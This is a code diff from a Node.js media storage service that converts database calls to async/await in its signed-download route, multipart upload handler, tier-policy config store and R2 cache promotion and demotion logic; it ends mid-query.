const signed = !!req.query.sig && signing.verifyDownload(obj.id, req.query.exp, req.query.sig);
const signed = !!req.query.sig && signing.verifyDownload(obj.id, req.query.exp, req.query.sig);
// Private objects (and every developer-project sandbox object) are indistinguishable from
// Private objects (and every developer-project sandbox object) are indistinguishable from
// missing ones without a valid signature — checked before the lifecycle answers, or a 410
// missing ones without a valid signature — checked before the lifecycle answers, or a 410
// for a deleted private object would still say it existed.
// for a deleted private object would still say it existed.
- const sandbox = db.isSandboxTenant(obj.app_id);
+ const sandbox = await db.isSandboxTenant(obj.app_id);
if ((obj.visibility === 'private' || sandbox) && !signed) return res.status(404).json({ error: 'Not found' });
if ((obj.visibility === 'private' || sandbox) && !signed) return res.status(404).json({ error: 'Not found' });
if (obj.lifecycle_status === 'deleted') return res.status(410).json({ error: 'Gone' });
if (obj.lifecycle_status === 'deleted') return res.status(410).json({ error: 'Gone' });
if (obj.lifecycle_status !== 'ready') return res.status(404).json({ error: 'Not found' });
if (obj.lifecycle_status !== 'ready') return res.status(404).json({ error: 'Not found' });
@@ -742,8 +753,8 @@ publicRouter.get('/:id', async (req, res) => {
@@ -742,8 +753,8 @@ publicRouter.get('/:id', async (req, res) => {
};
};
// A viewer of a native object, counted once a day without being identified (objects/popularity.js); the
// A viewer of a native object, counted once a day without being identified (objects/popularity.js); the
// object tiering reads these counts. Sandbox objects are never tiered, so they are not counted.
// object tiering reads these counts. Sandbox objects are never tiered, so they are not counted.
- if (!obj.legacy_ref && !sandbox) require('./popularity').record(obj, req);
- const locs = model.listLocations(obj.id);
+ if (!obj.legacy_ref && !sandbox) await require('./popularity').record(obj, req);
+ const locs = await model.listLocations(obj.id);
const vodStorage = require('../vod/vod-storage');
const vodStorage = require('../vod/vod-storage');
// A native object promoted to the R2 popularity cache (objects/tiering.js) plays from its verified R2 copy
// A native object promoted to the R2 popularity cache (objects/tiering.js) plays from its verified R2 copy
// while R2 is available, with the headers this route would send; the canonical copy is the fallback.
// while R2 is available, with the headers this route would send; the canonical copy is the fallback.
@@ -769,11 +780,11 @@ publicRouter.get('/:id', async (req, res) => {
@@ -769,11 +780,11 @@ publicRouter.get('/:id', async (req, res) => {
/** PUT /:id/multipart/:uploadId/parts/:n (raw body; mounted ahead of the JSON body parser). */
/** PUT /:id/multipart/:uploadId/parts/:n (raw body; mounted ahead of the JSON body parser). */
async function putPart(req, res) {
async function putPart(req, res) {
- const obj = load(req, res, 'write');
+ const obj = await load(req, res, 'write');
if (!obj) { req.resume(); return; }
if (!obj) { req.resume(); return; }
if (!canWrite(req, obj)) { req.resume(); return problem(res, 403, 'media.object.forbidden', 'Not your object'); }
if (!canWrite(req, obj)) { req.resume(); return problem(res, 403, 'media.object.forbidden', 'Not your object'); }
if (obj.lifecycle_status !== 'uploading') { req.resume(); return problem(res, 409, 'media.object.not_uploading', `Object is ${obj.lifecycle_status}`); }
if (obj.lifecycle_status !== 'uploading') { req.resume(); return problem(res, 409, 'media.object.not_uploading', `Object is ${obj.lifecycle_status}`); }
- const session = loadSession(req, res, obj);
+ const session = await loadSession(req, res, obj);
if (!session) { req.resume(); return; }
if (!session) { req.resume(); return; }
const n = Number(req.params.n);
const n = Number(req.params.n);
if (!Number.isInteger(n) || n < 1 || n > session.parts_expected) {
if (!Number.isInteger(n) || n < 1 || n > session.parts_expected) {
@@ -62,17 +62,32 @@ function validate(v) {
@@ -62,17 +62,32 @@ function validate(v) {
}
}
let store = null;
let store = null;
+let explicit = new Set(); // keys the active revision sets explicitly (read on activation: snapshots are async)
-/** The store (created on first use, once the database is open). */
-function get() {
+async function keysOf(revision) {
+ const snap = store && revision != null ? await store.snapshot(revision) : null;
+ return new Set(Object.keys((snap && snap.values) || {}));
+}
+
+/** Create the store once the database is open (boot: server/index.js; tests). */
+async function init() {
if (store) return store;
if (store) return store;
- store = config.createConfigStore({
+ const s = await config.createConfigStore({
db: db.getDb(), service: 'media', namespace: 'media.object_tier',
db: db.getDb(), service: 'media', namespace: 'media.object_tier',
defaults: DEFAULTS, schema: SCHEMA, validate,
defaults: DEFAULTS, schema: SCHEMA, validate,
// Revision 1 is empty: the defaults apply, and a key set later shows as a setting.
// Revision 1 is empty: the defaults apply, and a key set later shows as a setting.
legacy: () => ({}),
legacy: () => ({}),
+ onActivate: async (_values, _previous, { revision }) => { if (store) explicit = await keysOf(revision); },
log: { info: (m) => console.log(`[ObjectTiers] ${m}`), warn: (m) => console.warn(`[ObjectTiers] ${m}`), error: (m) => console.error(`[ObjectTiers] ${m}`) },
log: { info: (m) => console.log(`[ObjectTiers] ${m}`), warn: (m) => console.warn(`[ObjectTiers] ${m}`), error: (m) => console.error(`[ObjectTiers] ${m}`) },
});
});
+ store = s;
+ explicit = await keysOf(s.revision());
+ return store;
+}
+
+/** The store init() created (get() on it reads memory). */
+function get() {
+ if (!store) throw new Error('media.object_tier is not loaded yet (tier-policy init() at boot)');
return store;
return store;
}
}
@@ -82,16 +97,14 @@ function settings() {
@@ -82,16 +97,14 @@ function settings() {
}
}
/** Change some keys: one validated revision merged over the active one → the new snapshot (throws ConfigError 422/409). */
/** Change some keys: one validated revision merged over the active one → the new snapshot (throws ConfigError 422/409). */
-function set(updates, { actor = null, reason = null } = {}) {
- return get().apply(updates, { merge: true, actor, reason });
+async function set(updates, { actor = null, reason = null } = {}) {
+ return await get().apply(updates, { merge: true, actor, reason });
}
}
/** Keys the active revision sets explicitly (anything else is its default). */
/** Keys the active revision sets explicitly (anything else is its default). */
function explicitKeys() {
function explicitKeys() {
- const s = get();
- if (s.revision() == null) return new Set();
- const snap = s.snapshot(s.revision());
- return new Set(Object.keys((snap && snap.values) || {}));
+ get();
+ return new Set(explicit);
}
}
/** Each key as { value, default, source: default | setting }. */
/** Each key as { value, default, source: default | setting }. */
@@ -117,4 +130,4 @@ function describe(v = settings()) {
@@ -117,4 +130,4 @@ function describe(v = settings()) {
};
};
}
}
-module.exports = { DEFAULTS, SCHEMA, validate, get, settings, set, explicitKeys, thresholds, describe, _reset: () => { store = null; } };
+module.exports = { DEFAULTS, SCHEMA, validate, init, get, settings, set, explicitKeys, thresholds, describe, _reset: () => { store = null; explicit = new Set(); } };
@@ -120,12 +120,12 @@ function thresholdSnapshot(settings) {
@@ -120,12 +120,12 @@ function thresholdSnapshot(settings) {
}
}
/** What a decision saw: the object's popularity, size, lifecycle, copies, hold and the gate. */
/** What a decision saw: the object's popularity, size, lifecycle, copies, hold and the gate. */
-function inputsOf(obj, { locs, pop, held, settings }) {
+async function inputsOf(obj, { locs, pop, held, settings }) {
const canon = canonicalLocation(obj, locs);
const canon = canonicalLocation(obj, locs);
const r2 = locs.find((l) => l.provider === 'r2');
const r2 = locs.find((l) => l.provider === 'r2');
return {
return {
unique_viewers_7d: pop ? pop.unique_viewers : 0,
unique_viewers_7d: pop ? pop.unique_viewers : 0,
- last_viewed_day: pop ? pop.last_viewed_day : popularity.lastViewedDay(obj.id),
+ last_viewed_day: pop ? pop.last_viewed_day : await popularity.lastViewedDay(obj.id),
size_bytes: Number(obj.size_bytes) || 0,
size_bytes: Number(obj.size_bytes) || 0,
kind: obj.kind, visibility: obj.visibility, lifecycle_status: obj.lifecycle_status,
kind: obj.kind, visibility: obj.visibility, lifecycle_status: obj.lifecycle_status,
content_hash: !!obj.content_hash,
content_hash: !!obj.content_hash,
@@ -139,12 +139,12 @@ function inputsOf(obj, { locs, pop, held, settings }) {
@@ -139,12 +139,12 @@ function inputsOf(obj, { locs, pop, held, settings }) {
}
}
/** Log one decision. Never throws: the move already happened (or did not). → the row id, or null */
/** Log one decision. Never throws: the move already happened (or did not). → the row id, or null */
-function recordDecision({ obj, action, from, to, outcome, trigger, reason, inputs, settings, error = null }) {
+async function recordDecision({ obj, action, from, to, outcome, trigger, reason, inputs, settings, error = null }) {
try {
try {
- return db.run(`INSERT INTO media_object_tier_decisions (object_id, app_id, action, from_provider, to_provider, outcome, trigger, reason, inputs, thresholds, error)
- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
+ return (await db.run(`INSERT INTO media_object_tier_decisions (object_id, app_id, action, from_provider, to_provider, outcome, trigger, reason, inputs, thresholds, error)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) RETURNING id`,
[obj.id, obj.app_id || null, action, from || null, to || null, outcome, String(trigger || 'manual').slice(0, 40), String(reason || '').slice(0, 1000),
[obj.id, obj.app_id || null, action, from || null, to || null, outcome, String(trigger || 'manual').slice(0, 40), String(reason || '').slice(0, 1000),
- JSON.stringify(inputs || {}), JSON.stringify(thresholdSnapshot(settings)), error == null ? null : String(error).slice(0, 500)]).lastInsertRowid;
+ JSON.stringify(inputs || {}), JSON.stringify(thresholdSnapshot(settings)), error == null ? null : String(error).slice(0, 500)])).lastInsertRowid;
} catch (err) {
} catch (err) {
console.warn(`[ObjectTiers] decision for ${obj && obj.id} not logged: ${err.message}`);
console.warn(`[ObjectTiers] decision for ${obj && obj.id} not logged: ${err.message}`);
return null;
return null;
@@ -152,48 +152,48 @@ function recordDecision({ obj, action, from, to, outcome, trigger, reason, input
@@ -152,48 +152,48 @@ function recordDecision({ obj, action, from, to, outcome, trigger, reason, input
}
}
/** The sweep logged the same outcome for this object and action within the last day. */
/** The sweep logged the same outcome for this object and action within the last day. */
-function loggedToday(objectId, action, outcome) {
- return !!db.get(`SELECT 1 AS x FROM media_object_tier_decisions WHERE object_id = ? AND action = ? AND outcome = ? AND trigger = 'sweep'
- AND decided_at >= strftime('%Y-%m-%dT%H:%M:%fZ', 'now', '-1 day') LIMIT 1`, [objectId, action, outcome]);
+async function loggedToday(objectId, action, outcome) {
+ return !!await db.get(`SELECT 1 AS x FROM media_object_tier_decisions WHERE object_id = ? AND action = ? AND outcome = ? AND trigger = 'sweep'
+ AND decided_at >= ov_now_iso('-1 day') LIMIT 1`, [objectId, action, outcome]);
}
}
/** A move of this object failed within the back-off window. */
/** A move of this object failed within the back-off window. */
-function inBackoff(objectId, action) {
- return !!db.get(`SELECT 1 AS x FROM media_object_tier_decisions WHERE object_id = ? AND action = ? AND outcome = 'failed'
- AND decided_at >= strftime('%Y-%m-%dT%H:%M:%fZ', 'now', ?) LIMIT 1`, [objectId, action, `-${FAILED_BACKOFF_H} hours`]);
+async function inBackoff(objectId, action) {
+ return !!await db.get(`SELECT 1 AS x FROM media_object_tier_decisions WHERE object_id = ? AND action = ? AND outcome = 'failed'
+ AND decided_at >= ov_now_iso(?) LIMIT 1`, [objectId, action, `-${FAILED_BACKOFF_H} hours`]);
}
}
/**
/**
* Shared frame of promote()/demote(): loads the object and its facts, and returns log(outcome, reason, extra)
* Shared frame of promote()/demote(): loads the object and its facts, and returns log(outcome, reason, extra)
* which records the decision (the sweep's repeated refusals and dry runs once a day) and shapes the answer.
* which records the decision (the sweep's repeated refusals and dry runs once a day) and shapes the answer.
*/
*/
-function frame(objectId, action, ctx) {
+async function frame(objectId, action, ctx) {
const settings = ctx.settings || policy.settings();
const settings = ctx.settings || policy.settings();
- const obj = model().getObject(String(objectId || ''));
+ const obj = await model().getObject(String(objectId || ''));
if (!obj) return { missing: true };
if (!obj) return { missing: true };
- const locs = model().listLocations(obj.id);
- const pop = ctx.pop !== undefined ? ctx.pop : (popularity.stats({ ids: [obj.id], now: ctx.now }).get(obj.id) || null);
- const held = model().isHeld(obj.id);
- const inputs = inputsOf(obj, { locs, pop, held, settings });
+ const locs = await model().listLocations(obj.id);
+ const pop = ctx.pop !== undefined ? ctx.pop : ((await popularity.stats({ ids: [obj.id], now: ctx.now })).get(obj.id) || null);
+ const held = await model().isHeld(obj.id);
+ const inputs = await inputsOf(obj, { locs, pop, held, settings });
const canon = canonicalLocation(obj, locs);
const canon = canonicalLocation(obj, locs);
const trigger = ctx.trigger || 'manual';
const trigger = ctx.trigger || 'manual';
const why = ctx.reason || 'requested';
const why = ctx.reason || 'requested';
const from = action === 'promote' ? (canon ? canon.provider : null) : 'r2';
const from = action === 'promote' ? (canon ? canon.provider : null) : 'r2';
const to = action === 'promote' ? 'r2' : (canon ? canon.provider : null);
const to = action === 'promote' ? 'r2' : (canon ? canon.provider : null);
- const log = (outcome, reason, extra = {}) => {
- const repeat = trigger === 'sweep' && (outcome === 'refused' || outcome === 'dry_run') && loggedToday(obj.id, action, outcome);
- if (!repeat) recordDecision({ obj, action, from, to, outcome, trigger, reason, inputs, settings, error: extra.error });
+ const log = async (outcome, reason, extra = {}) => {
+ const repeat = trigger === 'sweep' && (outcome === 'refused' || outcome === 'dry_run') && await loggedToday(obj.id, action, outcome);
+ if (!repeat) await recordDecision({ obj, action, from, to, outcome, trigger, reason, inputs, settings, error: extra.error });
return { ok: outcome === 'done' || outcome === 'already', outcome, object_id: obj.id, repeat, ...extra };
return { ok: outcome === 'done' || outcome === 'already', outcome, object_id: obj.id, repeat, ...extra };
};
};
return { obj, locs, canon, held, settings, why, log };
return { obj, locs, canon, held, settings, why, log };
}
}
/** Why an object may not be promoted at all, from the record (no I/O), or null. */
/** Why an object may not be promoted at all, from the record (no I/O), or null. */
-function promoteRefusal(obj, { locs, held }) {
+async function promoteRefusal(obj, { locs, held }) {
if (held) return 'under a retention hold (a hold freezes placement)';
if (held) return 'under a retention hold (a hold freezes placement)';
if (obj.legacy_ref) return 'not a native object (projected objects tier with their VOD)';
if (obj.legacy_ref) return 'not a native object (projected objects tier with their VOD)';
if (obj.lifecycle_status !== 'ready') return `the object is ${obj.lifecycle_status}`;
if (obj.lifecycle_status !== 'ready') return `the object is ${obj.lifecycle_status}`;
- if (db.isSandboxTenant(obj.app_id)) return 'developer sandbox objects are never tiered';
+ if (await db.isSandboxTenant(obj.app_id)) return 'developer sandbox objects are never tiered';
return canonicalUnverified(obj, locs);
return canonicalUnverified(obj, locs);
}
}
@@ -204,20 +204,20 @@ function promoteRefusal(obj, { locs, held }) {
@@ -204,20 +204,20 @@ function promoteRefusal(obj, { locs, held }) {
* → { ok, outcome: done | already | refused | failed | dry_run, error?, bytes? }
* → { ok, outcome: done | already | refused | failed | dry_run, error?, bytes? }
*/
*/
async function promote(objectId, ctx = {}) {
async function promote(objectId, ctx = {}) {
- const f = frame(objectId, 'promote', ctx);
+ const f = await frame(objectId, 'promote', ctx);
if (f.missing) return { ok: false, outcome: 'refused', error: 'object not found' };
if (f.missing) return { ok: false, outcome: 'refused', error: 'object not found' };
const { obj, locs, canon, held, settings, why, log } = f;
const { obj, locs, canon, held, settings, why, log } = f;
- if (held) return log('refused', `${why}; refused: under a retention hold (a hold freezes placement)`, { error: 'held', held: true });
+ if (held) return await log('refused', `${why}; refused: under a retention hold (a hold freezes placement)`, { error: 'held', held: true });
const r2Now = locs.find((l) => l.provider === 'r2');
const r2Now = locs.find((l) => l.provider === 'r2');
- if (r2Now && r2Now.state === 'present' && r2Now.verified_at) return log('already', `${why}; the R2 copy is already present`);
- const refusal = promoteRefusal(obj, { locs, held });
- if (refusal) return log('refused', `${why}; refused: ${refusal}`, { error: refusal });
+ if (r2Now && r2Now.state === 'present' && r2Now.verified_at) return await log('already', `${why}; the R2 copy is already present`);
+ const refusal = await promoteRefusal(obj, { locs, held });
+ if (refusal) return await log('refused', `${why}; refused: ${refusal}`, { error: refusal });
const vs = vodStorage();
const vs = vodStorage();
- if (!settings.active) return log('dry_run', `gate off (active = false): would promote: ${why}${vs.providerAvailable('r2') ? '' : ' (R2 is not available now)'}`);
- if (!vs.providerAvailable('r2')) return log('refused', `${why}; refused: R2 is not available`, { error: 'R2 not available' });
+ if (!settings.active) return await log('dry_run', `gate off (active = false): would promote: ${why}${vs.providerAvailable('r2') ? '' : ' (R2 is not available now)'}`);
+ if (!vs.providerAvailable('r2')) return await log('refused', `${why}; refused: R2 is not available`, { error: 'R2 not available' });
const check = await confirmCanonical(obj, canon);
const check = await confirmCanonical(obj, canon);
- if (!check.ok) return log('refused', `${why}; refused: ${check.why}`, { error: check.why });
+ if (!check.ok) return await log('refused', `${why}; refused: ${check.why}`, { error: check.why });
const key = r2KeyFor(obj, canon);
const key = r2KeyFor(obj, canon);
const size = Number(obj.size_bytes);
const size = Number(obj.size_bytes);
try {
try {
@@ -229,26 +229,26 @@ async function promote(objectId, ctx = {}) {
@@ -229,26 +229,26 @@ async function promote(objectId, ctx = {}) {
if (!read || read.sha256 !== obj.content_hash) throw new Error('the R2 copy read back does not match the sha256 on record');
if (!read || read.sha256 !== obj.content_hash) throw new Error('the R2 copy read back does not match the sha256 on record');
} catch (err) {
} catch (err) {
await vs.deleteObject('r2', key).catch(() => {}); // never leave an unrecorded or unverified copy behind
await vs.deleteObject('r2', key).catch(() => {}); // never leave an unrecorded or unverified copy behind
- return log('failed', `${why}; the copy to R2 did not verify`, { error: err.message });
+ return await log('failed', `${why}; the copy to R2 did not verify`, { error: err.message });
}
}
// A hold placed (or a delete made) while the bytes were copied wins: the new copy was never recorded, so
// A hold placed (or a delete made) while the bytes were copied wins: the new copy was never recorded, so
// removing it moves nothing anyone could see.
// removing it moves nothing anyone could see.
- const now = model().getObject(obj.id);
- if (!now || model().isHeld(obj.id) || now.lifecycle_status !== 'ready') {
+ const now = await model().getObject(obj.id);
+ if (!now || await model().isHeld(obj.id) || now.lifecycle_status !== 'ready') {
await vs.deleteObject('r2', key).catch(() => {});
await vs.deleteObject('r2', key).catch(() => {});
- return log('refused', `${why}; refused: the object was ${!now ? 'removed' : now.lifecycle_status !== 'ready' ? now.lifecycle_status : 'put under a hold'} during the copy (the copy was removed)`,
+ return await log('refused', `${why}; refused: the object was ${!now ? 'removed' : now.lifecycle_status !== 'ready' ? now.lifecycle_status : 'put under a hold'} during the copy (the copy was removed)`,
{ error: 'changed during the copy' });
{ error: 'changed during the copy' });
}
}
- db.getDb().transaction(() => {
+ await db.getDb().tx(async () => {
// A fresh row: its created_at is when the object entered R2 (the demotion's "in R2 at least that long").
// A fresh row: its created_at is when the object entered R2 (the demotion's "in R2 at least that long").
- db.run("DELETE FROM media_locations WHERE object_id = ? AND provider = 'r2'", [obj.id]);
- model().upsertLocation(obj.id, { provider: 'r2', bucket: vs.bucketFor('r2'), key, storage_class: 'cache', state: 'present',
+ await db.run("DELETE FROM media_locations WHERE object_id = ? AND provider = 'r2'", [obj.id]);
+ await model().upsertLocation(obj.id, { provider: 'r2', bucket: vs.bucketFor('r2'), key, storage_class: 'cache', state: 'present',
checksum: obj.content_hash, size_bytes: size, verified: true });
checksum: obj.content_hash, size_bytes: size, verified: true });
- model().setLocationState(canon.id, { state: 'present', size_bytes: size });
- })();
+ await model().setLocationState(canon.id, { state: 'present', size_bytes: size });
+ });
console.log(`[ObjectTiers] ${obj.id} (${obj.app_id}) promoted to R2: ${key} (${(size / MB).toFixed(1)} MB)`);
console.log(`[ObjectTiers] ${obj.id} (${obj.app_id}) promoted to R2: ${key} (${(size / MB).toFixed(1)} MB)`);
- return log('done', why, { bytes: size });
+ return await log('done', why, { bytes: size });
}
}
/**
/**
@@ -256,42 +256,42 @@ async function promote(objectId, ctx = {}) {
@@ -256,42 +256,42 @@ async function promote(objectId, ctx = {}) {
* ctx as for promote(). → { ok, outcome, error? }
* ctx as for promote(). → { ok, outcome, error? }
*/
*/
async function demote(objectId, ctx = {}) {
async function demote(objectId, ctx = {}) {
- const f = frame(objectId, 'demote', ctx);
+ const f = await frame(objectId, 'demote', ctx);
if (f.missing) return { ok: false, outcome: 'refused', error: 'object not found' };
if (f.missing) return { ok: false, outcome: 'refused', error: 'object not found' };
const { obj, locs, canon, held, settings, why, log } = f;
const { obj, locs, canon, held, settings, why, log } = f;
- if (held) return log('refused', `${why}; refused: under a retention hold (a hold freezes placement)`, { error: 'held', held: true });
+ if (held) return await log('refused', `${why}; refused: under a retention hold (a hold freezes placement)`, { error: 'held', held: true });
const r2 = locs.find((l) => l.provider === 'r2');
const r2 = locs.find((l) => l.provider === 'r2');
- if (!r2) return log('already', `${why}; there is no R2 copy`);
+ if (!r2) return await log('already', `${why}; there is no R2 copy`);
const vs = vodStorage();
const vs = vodStorage();
- if (!settings.active) return log('dry_run', `gate off (active = false): would demote: ${why}`);
- if (!vs.providerConfigured('r2')) return log('refused', `${why}; refused: R2 is not configured`, { error: 'R2 not configured' });
- if (!canon || canon.provider === 'r2') return log('refused', `${why}; refused: no canonical copy besides R2 (the R2 copy is kept)`, { error: 'no canonical copy' });
+ if (!settings.active) return await log('dry_run', `gate off (active = false): would demote: ${why}`);
+ if (!vs.providerConfigured('r2')) return await log('refused', `${why}; refused: R2 is not configured`, { error: 'R2 not configured' });
+ if (!canon || canon.provider === 'r2') return await log('refused', `${why}; refused: no canonical copy besides R2 (the R2 copy is kept)`, { error: 'no canonical copy' });
// The last good copy is never the one removed: the canonical copy must check out now.
// The last good copy is never the one removed: the canonical copy must check out now.
const check = await confirmCanonical(obj, canon);
const check = await confirmCanonical(obj, canon);
- if (!check.ok) return log('refused', `${why}; refused: ${check.why}; the R2 copy is kept (it may be the last good copy)`, { error: check.why });
+ if (!check.ok) return await log('refused', `${why}; refused: ${check.why}; the R2 copy is kept (it may be the last good copy)`, { error: check.why });
try {
try {
await vs.deleteObject('r2', r2.key);
await vs.deleteObject('r2', r2.key);
const still = await vs.headObject('r2', r2.key);
const still = await vs.headObject('r2', r2.key);
if (still) throw new Error('the R2 copy is still there after the delete');
if (still) throw new Error('the R2 copy is still there after the delete');
} catch (err) {
} catch (err) {
- return log('failed', `${why}; the R2 copy could not be removed`, { error: err.message });
+ return await log('failed', `${why}; the R2 copy could not be removed`, { error: err.message });
}
}
- db.getDb().transaction(() => {
- db.run('DELETE FROM media_locations WHERE id = ?', [r2.id]);
- model().setLocationState(canon.id, { state: 'present', size_bytes: Number(obj.size_bytes) });
- })();
+ await db.getDb().tx(async () => {
+ await db.run('DELETE FROM media_locations WHERE id = ?', [r2.id]);
+ await model().setLocationState(canon.id, { state: 'present', size_bytes: Number(obj.size_bytes) });
+ });
console.log(`[ObjectTiers] ${obj.id} (${obj.app_id}) demoted from R2 (${why})`);
console.log(`[ObjectTiers] ${obj.id} (${obj.app_id}) demoted from R2 (${why})`);
- return log('done', why);
+ return await log('done', why);
}
}
// ── Candidates ───────────────────────────────────────────────
// ── Candidates ───────────────────────────────────────────────
/** Ready native objects that pass the popularity, recency and size thresholds and have no R2 copy yet, most viewed first. */
/** Ready native objects that pass the popularity, recency and size thresholds and have no R2 copy yet, most viewed first. */
-function promotionCandidates(settings, { now = Date.now(), appId = null, limit = 200 } = {}) {
+async function promotionCandidates(settings, { now = Date.now(), appId = null, limit = 200 } = {}) {
const today = popularity.dayOf(now);
const today = popularity.dayOf(now);
- return db.all(`SELECT o.*, p.viewers AS unique_viewers_7d, p.last_day AS last_viewed_day
- FROM (SELECT object_id, SUM(unique_viewers) AS viewers, MAX(day) AS last_day FROM media_object_views_daily
+ return await db.all(`SELECT o.*, p.viewers AS unique_viewers_7d, p.last_day AS last_viewed_day
+ FROM (SELECT object_id, SUM(unique_viewers)::bigint AS viewers, MAX(day) AS last_day FROM media_object_views_daily
WHERE day >= ? AND unique_viewers > 0 GROUP BY object_id) p
WHERE day >= ? AND unique_viewers > 0 GROUP BY object_id) p
JOIN media_objects o ON o.id = p.object_id
JOIN media_objects o ON o.id = p.object_id
WHERE o.legacy_ref IS NULL AND o.lifecycle_status = 'ready'
WHERE o.legacy_ref IS NULL AND o.lifecycle_status = 'ready'
@@ -303,9 +303,9 @@ function promotionCandidates(settings, { now = Date.now(), appId = null, limit =
@@ -303,9 +303,9 @@ function promotionCandidates(settings, { now = Date.now(), appId = null, limit =
}
}
/** Native objects with an R2 copy that should lose it: not ready any more, or idle. → [{ obj row, reason }] */
/** Native objects with an R2 copy that should lose it: not ready any more, or idle. → [{ obj row, reason }] */
-function demotionCandidates(settings, { now = Date.now(), appId = null } = {}) {
+async function demotionCandidates(settings, { now = Date.now(), appId = null } = {}) {
const idleFrom = popularity.windowStart(popularity.dayOf(now), settings.demoteIdleDays);
const idleFrom = popularity.windowStart(popularity.dayOf(now), settings.demoteIdleDays);
- const rows = db.all(`SELECT o.*, l.created_at AS r2_since,
+ const rows = await db.all(`SELECT o.*, l.created_at AS r2_since,
(SELECT MAX(d.day) FROM media_object_views_daily d WHERE d.object_id = o.id AND d.unique_viewers > 0) AS last_viewed_day
(SELECT MAX(d.day) FROM media_object_views_daily d WHERE d.object_id = o.id AND d.unique_viewers > 0) AS last_viewed_day
FROM media_locations l JOIN media_objects o ON o.id = l.object_id
FROM media_locations l JOIN media_objects o ON o.id = l.object_id
WHERE l.provider = 'r2' AND o.legacy_ref IS NULL${appId ? ' AND o.app_id = ?' : ''}
WHERE l.provider = 'r2' AND o.legacy_ref IS NULL${appId ? ' AND o.app_id = ?' : ''}
@@ -329,11 +329,11 @@ function promoteReason(c, s) {
@@ -329,11 +329,11 @@ function promoteReason(c, s) {
}
}
/** What the policy would promote now, each with what (on record) would refuse it; database only. */
/** What the policy would promote now, each with what (on record) would refuse it; database only. */
-function candidates({ appId = null, limit = 20, now = Date.now(), settings = policy.settings() } = {}) {
- return promotionCandidates(settings, { now, appId, limit: Math.min(Math.max(parseInt(limit, 10) || 20, 1), 200) }).map((c) => ({
+async function candidates({ appId = null, limit = 20, now = Date.now(), settings = policy.settings() } = {}) {
+ return (await Promise.all((await promotionCandidates(settings, { now, appId, limit: Math.min(Math.max(parseInt(limit, 10) || 20, 1), 200) })).map(async (c) => ({
object_id: c.id, app_id: c.app_id, kind: c.kind, size_bytes: c.size_bytes, unique_viewers_7d: c.unique_viewers_7d, last_viewed_day: c.last_viewed_day,
object_id: c.id, app_id: c.app_id, kind: c.kind, size_bytes: c.size_bytes, unique_viewers_7d: c.unique_viewers_7d, last_viewed_day: c.last_viewed_day,
- blocked_by: promoteRefusal(c, { locs: model().listLocations(c.id), held: model().isHeld(c.id) }),
- }));
+ blocked_by: await promoteRefusal(c, { locs: await model().listLocations(c.id), held: await model().isHeld(c.id) }),
+ }))));
}
}
// ── The sweep ────────────────────────────────────────────────
// ── The sweep ────────────────────────────────────────────────
@@ -357,27 +357,27 @@ async function runSweep({ trigger = 'sweep', now = Date.now() } = {}) {
@@ -357,27 +357,27 @@ async function runSweep({ trigger = 'sweep', now = Date.now() } = {}) {
try {
try {
const settings = policy.settings();
const settings = policy.settings();
const out = { gate: !!settings.active, promoted: 0, demoted: 0, would_promote: 0, would_demote: 0, already: 0, refused: 0, failed: 0,
const out = { gate: !!settings.active, promoted: 0, demoted: 0, would_promote: 0, would_demote: 0, already: 0, refused: 0, failed: 0,
- repeats: 0, skipped_backoff: 0, candidates: { promote: 0, demote: 0 }, rotated: popularity.rotate({ now }), errors: [] };
+ repeats: 0, skipped_backoff: 0, candidates: { promote: 0, demote: 0 }, rotated: await popularity.rotate({ now }), errors: [] };
// Demotions first: they free the R2 cache, and a deleted object's copy should not wait behind promotions.
// Demotions first: they free the R2 cache, and a deleted object's copy should not wait behind promotions.
- const demote_ = demotionCandidates(settings, { now });
+ const demote_ = await demotionCandidates(settings, { now });
out.candidates.demote = demote_.length;
out.candidates.demote = demote_.length;
let budget = settings.maxDemotionsPerSweep;
let budget = settings.maxDemotionsPerSweep;
for (const { row, reason } of demote_) {
for (const { row, reason } of demote_) {
if (budget <= 0) break;
if (budget <= 0) break;
- if (inBackoff(row.id, 'demote')) { out.skipped_backoff++; continue; }
+ if (await inBackoff(row.id, 'demote')) { out.skipped_backoff++; continue; }
const r = await demote(row.id, { trigger, reason, settings, now });
const r = await demote(row.id, { trigger, reason, settings, now });
tally(out, { ...r, action: 'demote' });
tally(out, { ...r, action: 'demote' });
if (!r.repeat && ['done', 'failed', 'dry_run'].includes(r.outcome)) budget--;
if (!r.repeat && ['done', 'failed', 'dry_run'].includes(r.outcome)) budget--;
}
}
- const promote_ = promotionCandidates(settings, { now, limit: Math.max(50, settings.maxPromotionsPerSweep * 10) })
- .filter((c) => !db.isSandboxTenant(c.app_id));
+ const promote_ = [];
+ for (const c of await promotionCandidates(settings, { now, limit: Math.max(50, settings.maxPromotionsPerSweep * 10) })) if (!await db.isSandboxTenant(c.app_id)) promote_.push(c);
out.candidates.promote = promote_.length;
out.candidates.promote = promote_.length;
budget = settings.maxPromotionsPerSweep;
budget = settings.maxPromotionsPerSweep;
for (const c of promote_) {
for (const c of promote_) {
if (budget <= 0) break;
if (budget <= 0) break;
- if (inBackoff(c.id, 'promote')) { out.skipped_backoff++; continue; }
+ if (await inBackoff(c.id, 'promote')) { out.skipped_backoff++; continue; }
const r = await promote(c.id, { trigger, reason: promoteReason(c, settings), settings, now,
const r = await promote(c.id, { trigger, reason: promoteReason(c, settings), settings, now,
pop: { unique_viewers: c.unique_viewers_7d, last_viewed_day: c.last_viewed_day } });
pop: { unique_viewers: c.unique_viewers_7d, last_viewed_day: c.last_viewed_day } });
tally(out, { ...r, action: 'promote' });
tally(out, { ...r, action: 'promote' });
@@ -412,18 +412,18 @@ function decisionPublic(r) {
@@ -412,18 +412,18 @@ function decisionPublic(r) {
}
}
/** Decisions of the last 24 hours by action and outcome (appId narrows them). */
/** Decisions of the last 24 hours by action and outcome (appId narrows them). */
-function counts24h(appId = null) {
+async function counts24h(appId = null) {
const empty = () => Object.fromEntries(OUTCOMES.map((o) => [o, 0]));
const empty = () => Object.fromEntries(OUTCOMES.map((o) => [o, 0]));
const out = { promote: empty(), demote: empty() };
const out = { promote: empty(), demote: empty() };
- for (const r of db.all(`SELECT action, outcome, COUNT(*) AS n FROM media_object_tier_decisions
- WHERE decided_at >= strftime('%Y-%m-%dT%H:%M:%fZ', 'now', '-1 day')${appId ? ' AND app_id = ?' : ''} GROUP BY action, outcome`, appId ? [appId] : [])) {
+ for (const r of await db.all(`SELECT action, outcome, COUNT(*) AS n FROM media_object_tier_decisions
